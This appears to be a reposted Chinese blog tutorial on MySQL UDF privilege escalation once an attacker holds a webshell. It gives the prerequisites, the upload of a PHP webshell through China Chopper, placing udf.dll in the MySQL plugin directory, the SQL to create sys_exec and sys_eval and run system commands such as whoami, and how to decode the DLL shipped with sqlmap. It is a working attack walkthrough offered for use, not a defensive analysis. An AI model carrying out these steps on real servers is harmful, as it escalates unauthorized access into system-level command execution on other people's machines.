MySQL提权之udf提权(获得webshell的情况)
阅读原文时间:2022年04月06日阅读:1

什么是udf提权?

MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf。

它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!

当我们拿到webshell后,由于中间件,例如,apache使用了较低的权限,可能仅仅是个网络服务的权限,然后我们就需要进行提权,而有时候目标机器补丁较全,各种系统提权姿势都失效的情况下,可以将目光转义到数据库服务上,在Windows下,在较低版本的mysql(<5.6)安装时默认是系统权限。还有就是很多人图方便,例如使用了各种集成环境,未做安全设置,直接用高权限账户进行站点配置,就可以考虑用UDF进行提权。

dll文件的好处?
1.扩展了应用程序的特性;
2.可以用许多种编程语言来编写;
3.简化了软件项目的管理;
4.有助于节省内存;
5.有助于资源共享;

什么是udf库?
UDF表示的是MySQL中的用户自定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用“lib_mysqludf_sys_64.dll”DLL库

不同版本的区别:

MySql < 4.1:

允许用户将任何的DLL文件里面的函数注册到MySql里。

MySql 4.1-5.0:

对用来注册的DLL文件的位置进行了限制,通常我们选择 UDF导出到系统目录

C:/windows/system32/来跳过限制。

MySql >=5.1:

这些DLL只能被放在MySql的plugin目录下。

0x01 提权的前提

1. 必须是root权限(主要是得创建和抛弃自定义函数)

2. secure_file_priv=(未写路径)

3. 将udf.dll文件上传到MySQL的plugin目录下(这里以MySQL>=5.1为例)

0x02 开始提权

这里以本地为例

1.我们这里上传了一句话,然后用菜刀连接上

先判断数据库版本

select version();

符合MySql>=5.1的情况。

2. 查看plugin目录名称:

show variables like 'plugin%';

3. 查询目录的绝对路径:

select @@plugin_dir;

4. 上传phpda.php,然后访问这个马

5. 上传udf.dll到 E:\phpStudy\PHPTutorial\MySQL\lib\plugin\下

注意:这里没有plugin这个文件夹,我们必须手动创建(直接在大马上新建就ok)

6. 我们主要利用udf.dll中的sys_exec(),sys_eval()等函数来进行命令执行

该函数将在“系统”函数内传递参数’args-> args [0]‘。你可以使用它在目标机器上执行系统命令。

安装:
create function sys_exec returns string soname "udf.dll";
验证:
select * from mysql.func where name = 'sys_exec';

然后进行命令执行

select sys_exec("whoami");

这里用sys_exec()函数好像不可以,我们换个函数

sys_eval
该函数将执行系统命令并在屏幕上通过标准输出显示。

安装:
create function sys_eval returns string soname 'udf.dll';
验证:
select * from mysql.func where name = 'sys_eval';

然后进行命令执行

select sys_eval("whoami");

成功执行

删除:
drop function sys_eval;

ps: sqlmap下就有udf.dll文件,提取出来就行了

sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py

解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件

0x03 结语

最后,总的来说,UDF提权就是利用MySql允许扩展自定义函数的特性,将webshell的权限变成和mysql运行权限一致,所以就有个前提,mysql得是以高权限进行运行的,至少得比中间件权限高,才有用这个方法进行提权的必要。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章